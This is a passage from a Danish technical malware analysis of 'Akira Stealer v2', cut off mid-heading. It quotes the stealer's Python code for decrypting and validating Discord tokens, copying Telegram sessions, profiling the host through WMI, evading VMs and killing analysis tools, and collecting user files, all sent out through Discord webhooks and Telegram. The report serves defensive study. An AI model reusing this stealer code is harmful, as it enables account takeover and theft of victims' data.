data.desktop_wallets_count},\n",[1683,8478,8479],{"class":1685,"line":5030},[1683,8480,8481],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1683,8483,8484],{"class":1685,"line":5036},[1683,8485,8486],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1683,8488,8489],{"class":1685,"line":5042},[1683,8490,8491],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1683,8493,8494],{"class":1685,"line":5048},[1683,8495,8496],{},"    ]\n",[1683,8498,8499],{"class":1685,"line":5054},[1683,8500,2404],{},[1683,8502,8503],{"class":1685,"line":5060},[1683,8504,8505],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1683,8507,8508],{"class":1685,"line":5066},[1683,8509,8510],{},"# 4) Cleanup local folder & ZIP\n",[1683,8512,8513],{"class":1685,"line":5072},[1683,8514,7694],{},[714,8516,8518,8519,1112],{"id":8517},"_79-tyveri-af-discord-og-telegram-tokens-klassen-discord","7.9. Tyveri af Discord- og Telegram-tokens (klassen ",[551,8520,1317],{},[533,8522,720],{},[533,8524,4645,8525,8527],{},[540,8526,1317],{}," i Akira Stealer v2 kører en stærkt paralleliseret proces i flere trin for at høste både Discord-autorisationstokens og Telegram-sessionsdata. Nedenfor dissekerer vi hver komponent med præcise kodereferencer og illustrative eksempler.",[861,8529,8531],{"id":8530},"_791-initialisering-og-optælling-af-stier","7.9.1 Initialisering og optælling af stier",[533,8533,867],{},[533,8535,8536],{},"Ved instantieringen bygger konstruktøren to sæt af målstier:",[588,8538,8540],{"className":4494,"code":8539,"language":4496,"meta":594,"style":594},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[551,8541,8542,8547,8552,8557,8562,8566,8570,8574,8579,8584,8589,8594,8598],{"__ignoreMap":594},[1683,8543,8544],{"class":1685,"line":1686},[1683,8545,8546],{},"# Discord client LevelDB directories\n",[1683,8548,8549],{"class":1685,"line":2062},[1683,8550,8551],{},"discord_paths = [\n",[1683,8553,8554],{"class":1685,"line":2068},[1683,8555,8556],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1683,8558,8559],{"class":1685,"line":2074},[1683,8560,8561],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1683,8563,8564],{"class":1685,"line":2395},[1683,8565,3844],{},[1683,8567,8568],{"class":1685,"line":2401},[1683,8569,7920],{},[1683,8571,8572],{"class":1685,"line":3060},[1683,8573,3854],{"emptyLinePlaceholder":325},[1683,8575,8576],{"class":1685,"line":3857},[1683,8577,8578],{},"# Chromium-based browser LevelDB directories\n",[1683,8580,8581],{"class":1685,"line":3863},[1683,8582,8583],{},"browserPaths = [\n",[1683,8585,8586],{"class":1685,"line":4108},[1683,8587,8588],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1683,8590,8591],{"class":1685,"line":5030},[1683,8592,8593],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1683,8595,8596],{"class":1685,"line":5036},[1683,8597,3844],{},[1683,8599,8600],{"class":1685,"line":5042},[1683,8601,7920],{},[604,8603,8604,8613],{},[607,8605,8606,8609,8610,586],{},[540,8607,8608],{},"Discord-stierne"," går efter officielle og uofficielle Discord-klienter under ",[551,8611,8612],{},"%APPDATA%",[607,8614,8615,8618],{},[540,8616,8617],{},"Browserstierne"," dækker brugerdatamapperne for udbredte browsere, inklusive undermapper til local storage og udvidelser.",[533,8620,8621],{},"Der startes tråde for hver post:",[588,8623,8625],{"className":4494,"code":8624,"language":4496,"meta":594,"style":594},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[551,8626,8627,8632,8637,8642,8647,8652],{"__ignoreMap":594},[1683,8628,8629],{"class":1685,"line":1686},[1683,8630,8631],{},"for patt in browserPaths:\n",[1683,8633,8634],{"class":1685,"line":2062},[1683,8635,8636],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1683,8638,8639],{"class":1685,"line":2068},[1683,8640,8641],{},"    t.start()\n",[1683,8643,8644],{"class":1685,"line":2074},[1683,8645,8646],{},"for patt in discord_paths:\n",[1683,8648,8649],{"class":1685,"line":2395},[1683,8650,8651],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1683,8653,8654],{"class":1685,"line":2401},[1683,8655,8641],{},[533,8657,8658],{},"Trådmodellen maksimerer I/O-gennemløbet og sonderer snesevis af mapper samtidig.",[861,8660,8662],{"id":8661},"_792-logikken-bag-udtræk-af-tokens","7.9.2 Logikken bag udtræk af tokens",[533,8664,867],{},[533,8666,8667],{},[540,8668,8669],{},"Skrabning af tokens i klartekst fra browsere",[533,8671,8672,8675,8676,8679,8680,8683],{},[551,8673,8674],{},"get_btoken(path, arg)"," navigerer til hver LevelDB-mappe og undersøger ",[551,8677,8678],{},".log","- og ",[551,8681,8682],{},".ldb","-filer:",[588,8685,8687],{"className":4494,"code":8686,"language":4496,"meta":594,"style":594},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[551,8688,8689,8694,8699,8704,8709,8714,8719,8724],{"__ignoreMap":594},[1683,8690,8691],{"class":1685,"line":1686},[1683,8692,8693],{},"for file in os.listdir(path + arg):\n",[1683,8695,8696],{"class":1685,"line":2062},[1683,8697,8698],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1683,8700,8701],{"class":1685,"line":2068},[1683,8702,8703],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1683,8705,8706],{"class":1685,"line":2074},[1683,8707,8708],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1683,8710,8711],{"class":1685,"line":2395},[1683,8712,8713],{},"                tokens = re.findall(regex, line)\n",[1683,8715,8716],{"class":1685,"line":2401},[1683,8717,8718],{},"                for token in tokens:\n",[1683,8720,8721],{"class":1685,"line":3060},[1683,8722,8723],{},"                    self.tokens.append(token)\n",[1683,8725,8726],{"class":1685,"line":3857},[1683,8727,8728],{},"                    self.cehckToken(token)\n",[604,8730,8731,8740,8748],{},[607,8732,8733,8739],{},[540,8734,8735,8736],{},"Regex'et ",[551,8737,8738],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," matcher almindelige Discord-tokens.",[607,8741,8742,8747],{},[540,8743,8735,8744],{},[551,8745,8746],{},"mfa\\.[\\w-]{80,95}"," opsnapper MFA-tokens.",[607,8749,8750,8751,8754],{},"Dublettfjernelsen sker implicit: tokens lægges i ",[551,8752,8753],{},"self.tokens"," før valideringen.",[533,8756,8757],{},[540,8758,8759],{},"Dekryptering af krypterede tokens i Discord-klienten",[533,8761,8762,8763,8765,8766,8768,8769,1173],{},"Discords klient krypterer poster i Local Storage under DPAPI med præfikset ",[551,8764,6500],{}," eller ",[551,8767,6504],{},". Det håndterer ",[551,8770,8771],{},"get_discord(path, arg)",[588,8773,8775],{"className":4494,"code":8774,"language":4496,"meta":594,"style":594},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[551,8776,8777,8782,8787,8791,8796,8801,8805,8810,8814,8818,8823,8828,8833,8838,8843],{"__ignoreMap":594},[1683,8778,8779],{"class":1685,"line":1686},[1683,8780,8781],{},"# Read Local State to obtain encrypted master key\n",[1683,8783,8784],{"class":1685,"line":2062},[1683,8785,8786],{},"with open(path + \"/Local State\", 'r') as f:\n",[1683,8788,8789],{"class":1685,"line":2068},[1683,8790,7095],{},[1683,8792,8793],{"class":1685,"line":2074},[1683,8794,8795],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1683,8797,8798],{"class":1685,"line":2395},[1683,8799,8800],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1683,8802,8803],{"class":1685,"line":2401},[1683,8804,3854],{"emptyLinePlaceholder":325},[1683,8806,8807],{"class":1685,"line":3060},[1683,8808,8809],{},"# Iterate LevelDB files for Base64 payloads\n",[1683,8811,8812],{"class":1685,"line":3857},[1683,8813,8693],{},[1683,8815,8816],{"class":1685,"line":3863},[1683,8817,8698],{},[1683,8819,8820],{"class":1685,"line":4108},[1683,8821,8822],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1683,8824,8825],{"class":1685,"line":5030},[1683,8826,8827],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1683,8829,8830],{"class":1685,"line":5036},[1683,8831,8832],{},"                ciphertext = b64decode(token_part)\n",[1683,8834,8835],{"class":1685,"line":5042},[1683,8836,8837],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1683,8839,8840],{"class":1685,"line":5048},[1683,8841,8842],{},"                self.tokens.append(token)\n",[1683,8844,8845],{"class":1685,"line":5054},[1683,8846,8847],{},"                self.cehckToken(token)\n",[604,8849,8850,8859],{},[607,8851,8852,8855,8856,8858],{},[540,8853,8854],{},"Gendannelse af masternøglen",": Fjerner den fem byte lange DPAPI-header og kalder derefter ",[551,8857,7161],{},", der indkapsler Windows DPAPI, for at dekryptere AES-GCM-nøglen.",[607,8860,8861,8864,8865,8868,8869,8872,8873],{},[540,8862,8863],{},"Parsing af payloaden",": Tokens har præfikset ",[551,8866,8867],{},"dQw4w9WgXcQ:",", en markør angriberen selv har valgt. Efter Base64-afkodningen deler ",[551,8870,8871],{},"decrypt_value()"," IV og ciphertext op:",[588,8874,8876],{"className":4494,"code":8875,"language":4496,"meta":594,"style":594},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[551,8877,8878,8883,8888,8893,8898],{"__ignoreMap":594},[1683,8879,8880],{"class":1685,"line":1686},[1683,8881,8882],{},"def decrypt\\_value(buff, master\\_key):\n",[1683,8884,8885],{"class":1685,"line":2062},[1683,8886,8887],{},"iv = buff\\[3:15]\n",[1683,8889,8890],{"class":1685,"line":2068},[1683,8891,8892],{},"payload = buff\\[15:]\n",[1683,8894,8895],{"class":1685,"line":2074},[1683,8896,8897],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1683,8899,8900],{"class":1685,"line":2395},[1683,8901,8902],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[861,8904,8906],{"id":8905},"_793-validering-og-eksfiltrering-af-tokens","7.9.3 Validering og eksfiltrering af tokens",[533,8908,867],{},[533,8910,8911],{},"Hvert udtrukket token valideres med et live API-kald:",[588,8913,8916],{"className":8914,"code":8915,"language":593},[591],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[551,8917,8915],{"__ignoreMap":594},[604,8919,8920],{},[607,8921,8922,8925,8926,8929,8930,8933,8934],{},[540,8923,8924],{},"Ved et positivt svar"," afgør ",[551,8927,8928],{},"cehckToken()",", om det skal sendes via Telegram (",[551,8931,8932],{},"useTg=True",") eller en Discord-webhook:",[588,8935,8937],{"className":4494,"code":8936,"language":4496,"meta":594,"style":594},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[551,8938,8939,8944,8949,8954],{"__ignoreMap":594},[1683,8940,8941],{"class":1685,"line":1686},[1683,8942,8943],{},"if useTg:\n",[1683,8945,8946],{"class":1685,"line":2062},[1683,8947,8948],{},"self.sendTokenTg(token)\n",[1683,8950,8951],{"class":1685,"line":2068},[1683,8952,8953],{},"else:\n",[1683,8955,8956],{"class":1685,"line":2074},[1683,8957,8958],{},"self.send\\_embed(token)\n",[604,8960,8961],{},[607,8962,8963,8968],{},[540,8964,8965],{},[551,8966,8967],{},"send_embed"," bygger en fyldig Discord-embed med brugerens metadata (username, discriminator, e-mail, Nitro-status, faktureringsoplysninger) ud fra felterne i",[588,8970,8973],{"className":8971,"code":8972,"language":593},[591],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[551,8974,8972],{"__ignoreMap":594},[604,8976,8977],{},[607,8978,8979,8984],{},[540,8980,8981],{},[551,8982,8983],{},"sendTokenTg"," sender en sammenfatning i klartekst via Telegram-API'et.",[861,8986,8988],{"id":8987},"_794-høst-af-telegram-sessioner","7.9.4 Høst af Telegram-sessioner",[533,8990,867],{},[533,8992,8993],{},"Ud over Discord-tokens tager stealeren også sessioner fra Telegram Desktop:",[588,8995,8997],{"className":4494,"code":8996,"language":4496,"meta":594,"style":594},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[551,8998,8999,9003,9008,9013,9018],{"__ignoreMap":594},[1683,9000,9001],{"class":1685,"line":1686},[1683,9002,4982],{},[1683,9004,9005],{"class":1685,"line":2062},[1683,9006,9007],{},"def steal_telegram():\n",[1683,9009,9010],{"class":1685,"line":2068},[1683,9011,9012],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1683,9014,9015],{"class":1685,"line":2074},[1683,9016,9017],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1683,9019,9020],{"class":1685,"line":2395},[1683,9021,9022],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[604,9024,9025,9031,9040],{},[607,9026,9027,9030],{},[540,9028,9029],{},"Afslutning af processen",": Sikrer, at fillåse frigives.",[607,9032,9033,9036,9037,9039],{},[540,9034,9035],{},"Rekursiv kopiering",": Stjæler mappen ",[551,9038,8273],{}," med brugersessioner, kontakter og cachede beskeder.",[607,9041,9042,9044,9045,9048],{},[540,9043,1333],{},": Den stjålne mappe zippes og uploades via ",[551,9046,9047],{},"sendFilesTG()",", med downloadlinket indlejret i en Telegram-besked.",[533,9050,9051,9052,9054],{},"Akira Stealers ",[551,9053,1317],{},"-modul kombinerer regex-baseret skrabning, AES-GCM-dekryptering understøttet af DPAPI, validering mod det levende API og eksfiltrering over flere protokoller (webhook og Telegram) og leverer dermed en gnidningsfri mulighed for at overtage konti på både Discord og Telegram.",[714,9056,9058],{"id":9057},"_710-systemprofilering","7.10 Systemprofilering",[533,9060,720],{},[533,9062,9063,9064,9067],{},"Akira Stealer v2 har en omfattende systemprofileringsfase, der indsamler metadata om hosten, attributter fra miljøet og netværksoplysninger. Informationerne samles i klassen ",[551,9065,9066],{},"Data"," og pakkes senere sammen med de eksfiltrerede loginoplysninger. Nedenfor gennemgår vi profileringslogikken med direkte kodereferencer.",[861,9069,9071,9072,9074],{"id":9070},"_7101-initialisering-af-data-klassen","7.10.1 Initialisering af ",[551,9073,9066],{},"-klassen",[533,9076,867],{},[533,9078,9079,9080,1173],{},"Ved opstart oprettes en instans af ",[551,9081,9066],{},[588,9083,9085],{"className":4494,"code":9084,"language":4496,"meta":594,"style":594},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[551,9086,9087,9092,9097,9102,9107,9112,9117,9122,9127,9132],{"__ignoreMap":594},[1683,9088,9089],{"class":1685,"line":1686},[1683,9090,9091],{},"class Data:\n",[1683,9093,9094],{"class":1685,"line":2062},[1683,9095,9096],{},"    def __init__(self):\n",[1683,9098,9099],{"class":1685,"line":2068},[1683,9100,9101],{},"        self.username = os.getlogin()\n",[1683,9103,9104],{"class":1685,"line":2074},[1683,9105,9106],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1683,9108,9109],{"class":1685,"line":2395},[1683,9110,9111],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1683,9113,9114],{"class":1685,"line":2401},[1683,9115,9116],{},"        ...\n",[1683,9118,9119],{"class":1685,"line":3060},[1683,9120,9121],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1683,9123,9124],{"class":1685,"line":3857},[1683,9125,9126],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1683,9128,9129],{"class":1685,"line":3863},[1683,9130,9131],{},"        self.country = ipdata.get(\"country\")\n",[1683,9133,9134],{"class":1685,"line":4108},[1683,9135,9136],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[604,9138,9139,9152],{},[607,9140,9141,9144,9145,9148,9149,586],{},[540,9142,9143],{},"Brugernavn og hostname:"," Hentes via ",[551,9146,9147],{},"os.getlogin()"," og miljøvariablen ",[551,9150,9151],{},"COMPUTERNAME",[607,9153,9154,9157,9158,9161,9162,9164],{},[540,9155,9156],{},"IP-adresse:"," Hentes med ",[551,9159,9160],{},"requests.get(\"https://api.ipify.org\")"," og geolokaliseres derefter via ",[551,9163,5328],{}," for land og ISO-kode.",[861,9166,9168],{"id":9167},"_7102-optælling-af-operativsystem-og-hardware","7.10.2 Optælling af operativsystem og hardware",[533,9170,867],{},[533,9172,9173],{},"Med WMI-kommandoer (Windows Management Instrumentation):",[588,9175,9177],{"className":4494,"code":9176,"language":4496,"meta":594,"style":594},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[551,9178,9179,9184,9189,9194,9199,9204,9209,9214,9219,9224,9229,9234],{"__ignoreMap":594},[1683,9180,9181],{"class":1685,"line":1686},[1683,9182,9183],{},"# Operating System\n",[1683,9185,9186],{"class":1685,"line":2062},[1683,9187,9188],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1683,9190,9191],{"class":1685,"line":2068},[1683,9192,9193],{},"# Total Physical Memory\n",[1683,9195,9196],{"class":1685,"line":2074},[1683,9197,9198],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1683,9200,9201],{"class":1685,"line":2395},[1683,9202,9203],{},"# BIOS UUID\n",[1683,9205,9206],{"class":1685,"line":2401},[1683,9207,9208],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1683,9210,9211],{"class":1685,"line":3060},[1683,9212,9213],{},"# CPU Identifier\n",[1683,9215,9216],{"class":1685,"line":3857},[1683,9217,9218],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1683,9220,9221],{"class":1685,"line":3863},[1683,9222,9223],{},"# GPU Name\n",[1683,9225,9226],{"class":1685,"line":4108},[1683,9227,9228],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1683,9230,9231],{"class":1685,"line":5030},[1683,9232,9233],{},"# Windows Product Key\n",[1683,9235,9236],{"class":1685,"line":5036},[1683,9237,9238],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[533,9240,9241,9242,9245],{},"Resultaterne parses til læsbare strenge (",[551,9243,9244],{},"strip()",", indeksoperationer) og sættes sammen til:",[588,9247,9249],{"className":4494,"code":9248,"language":4496,"meta":594,"style":594},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[551,9250,9251,9256,9261,9266,9271,9276,9281],{"__ignoreMap":594},[1683,9252,9253],{"class":1685,"line":1686},[1683,9254,9255],{},"self.system_info = (\n",[1683,9257,9258],{"class":1685,"line":2062},[1683,9259,9260],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1683,9262,9263],{"class":1685,"line":2068},[1683,9264,9265],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1683,9267,9268],{"class":1685,"line":2074},[1683,9269,9270],{},"    f\"CPU: {self.cpu}\\n\"\n",[1683,9272,9273],{"class":1685,"line":2395},[1683,9274,9275],{},"    f\"GPU: {self.gpu}\\n\"\n",[1683,9277,9278],{"class":1685,"line":2401},[1683,9279,9280],{},"    f\"Product Key: {self.productKey}\"\n",[1683,9282,9283],{"class":1685,"line":3060},[1683,9284,5249],{},[861,9286,9288],{"id":9287},"_7103-vm-detektion-og-anti-sandkassetjek","7.10.3 VM-detektion og anti-sandkassetjek",[533,9290,867],{},[533,9292,9293,9294,9296],{},"Før den dybere profilering kalder malwaren ",[551,9295,4668],{}," for at opdage virtualiserings- og analysemiljøer:",[588,9298,9300],{"className":4494,"code":9299,"language":4496,"meta":594,"style":594},"if VmProtect.isVM(1):\n    sys.exit()\n",[551,9301,9302,9307],{"__ignoreMap":594},[1683,9303,9304],{"class":1685,"line":1686},[1683,9305,9306],{},"if VmProtect.isVM(1):\n",[1683,9308,9309],{"class":1685,"line":2062},[1683,9310,9311],{},"    sys.exit()\n",[533,9313,9314],{},"De vigtigste tjek er:",[604,9316,9317,9323,9329,9335],{},[607,9318,9319,9322],{},[540,9320,9321],{},"Registry-nøgler og driverbeskrivelser",": Forespørger registry-poster knyttet til virtualisering.",[607,9324,9325,9328],{},[540,9326,9327],{},"Blacklistede UUID'er og computernavne",": Matcher mod kendte VM-fingeraftryk.",[607,9330,9331,9334],{},[540,9332,9333],{},"HTTP-simulering",": Forsøger at forbinde til et ikke-eksisterende domæne over HTTPS.",[607,9336,9337,9340,9341,620,9344,558,9347,586],{},[540,9338,9339],{},"Blacklist over processer",": Starter en baggrundstråd, der dræber værktøjer som ",[551,9342,9343],{},"wireshark",[551,9345,9346],{},"ollydbg",[551,9348,9349],{},"ida64",[861,9351,9353],{"id":9352},"_7104-pakning-og-afsendelse","7.10.4 Pakning og afsendelse",[533,9355,867],{},[533,9357,9358,9359,9362],{},"Den indsamlede ",[551,9360,9361],{},"system_info",", IP-adressen og landeflaget indlejres i headerne for webhook-payloaden:",[588,9364,9366],{"className":4494,"code":9365,"language":4496,"meta":594,"style":594},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[551,9367,9368,9373,9378,9383,9388,9393,9398,9402],{"__ignoreMap":594},[1683,9369,9370],{"class":1685,"line":1686},[1683,9371,9372],{},"webhook_payload = {\n",[1683,9374,9375],{"class":1685,"line":2062},[1683,9376,9377],{},"    \"embeds\": [{\n",[1683,9379,9380],{"class":1685,"line":2068},[1683,9381,9382],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1683,9384,9385],{"class":1685,"line":2074},[1683,9386,9387],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1683,9389,9390],{"class":1685,"line":2395},[1683,9391,9392],{},"        \"fields\": [...]\n",[1683,9394,9395],{"class":1685,"line":2401},[1683,9396,9397],{},"    }]\n",[1683,9399,9400],{"class":1685,"line":3060},[1683,9401,2404],{},[1683,9403,9404],{"class":1685,"line":3857},[1683,9405,9406],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[604,9408,9409,9415],{},[607,9410,9411,9414],{},[540,9412,9413],{},"Flag-emojien",": Afledes af ISO-landekoden.",[607,9416,9417,9420],{},[540,9418,9419],{},"Felterne",": Indeholder antallet af stjålne adgangskoder, cookies og lignende, men systemoplysningerne ligger i embeddets description, så konteksten er umiddelbart tilgængelig.",[533,9422,9423,9426],{},[540,9424,9425],{},"Sammenfatning:","\nSystemprofileringen i Akira Stealer v2 indsamler omfattende data om host og netværk via WMI-kommandoer, miljøvariabler og IP-geolokalisering. Sammen med VM-detektionen og rutinerne, der dræber værktøjer, sikrer det, at angriberen har et fuldt øjebliksbillede af det kompromitterede miljø. Det gør målrettede opfølgende handlinger nemmere og sorterer analysesandkasser fra.",[714,9428,9430,9431,1112],{"id":9429},"_711-filindsamleren-klassen-utilssteal_files","7.11 Filindsamleren (klassen ",[551,9432,9433],{},"Utils.steal_files",[533,9435,720],{},[533,9437,9438],{},"Ud over browserdata og tokens forsøger Akira også at udtrække værdifuldt brugergenereret indhold som dokumenter, regneark, private noter og kryptografiske nøglefiler. Det er File Grabber-modulets opgave. Det scanner mapper med høj værdi for udbredte filtyper og mønstre og lægger dem derefter lydløst i eksfiltreringspakken. Det, der gør modulet særligt farligt, er dets enkelhed og fokus: det forsøger ikke at gennemsøge hele filsystemet. Det går derimod efter bestemte, sandsynlige placeringer, hvor følsomme filer typisk ligger. Det gælder mapperne Desktop, Documents, Downloads og OneDrive, hver især relativt til brugerens hjemmesti. Den fokuserede tilgang øger både hastighed og stealth og mindsker sandsynligheden for at blive opdaget under scanningen. Den undgår også at gøre brugeren opmærksom, fordi den ikke rører system- eller beskyttede mapper. Når de interessante filer er fundet, kopieres de til en midlertidig mappe, eventuelt omdøbt eller grupperet, og komprimeres senere til det endelige ZIP-arkiv, der uploades i eksfiltreringsfasen.",[861,9440,9442],{"id":9441},"_7111-optælling-af-målmapperne","7.11.1 Optælling af målmapperne",[533,9444,867],{},[533,9446,9447],{},"Stealeren koncentrerer sig om fire mapper med højt udbytte:",[588,9449,9451],{"className":4494,"code":9450,"language":4496,"meta":594,"style":594},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[551,9452,9453,9458,9463,9468,9473,9478],{"__ignoreMap":594},[1683,9454,9455],{"class":1685,"line":1686},[1683,9456,9457],{},"searchFolders = [\n",[1683,9459,9460],{"class":1685,"line":2062},[1683,9461,9462],{},"    \"Desktop\",\n",[1683,9464,9465],{"class":1685,"line":2068},[1683,9466,9467],{},"    \"Documents\",\n",[1683,9469,9470],{"class":1685,"line":2074},[1683,9471,9472],{},"    \"Downloads\",\n",[1683,9474,9475],{"class":1685,"line":2395},[1683,9476,9477],{},"    \"OneDrive\"\n",[1683,9479,9480],{"class":1685,"line":2401},[1683,9481,7920],{},[533,9483,9484],{},"Hver mappe fortolkes relativt til offerets hjemmemappe:",[588,9486,9488],{"className":4494,"code":9487,"language":4496,"meta":594,"style":594},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[551,9489,9490,9495,9500,9505],{"__ignoreMap":594},[1683,9491,9492],{"class":1685,"line":1686},[1683,9493,9494],{},"for folder in searchFolders:\n",[1683,9496,9497],{"class":1685,"line":2062},[1683,9498,9499],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1683,9501,9502],{"class":1685,"line":2068},[1683,9503,9504],{},"    if os.path.exists(current_path):\n",[1683,9506,9507],{"class":1685,"line":2074},[1683,9508,9509],{},"        # proceed to scan\n",[861,9511,9513],{"id":9512},"_7112-filtrering-på-nøgleord-og-filtyper","7.11.2 Filtrering på nøgleord og 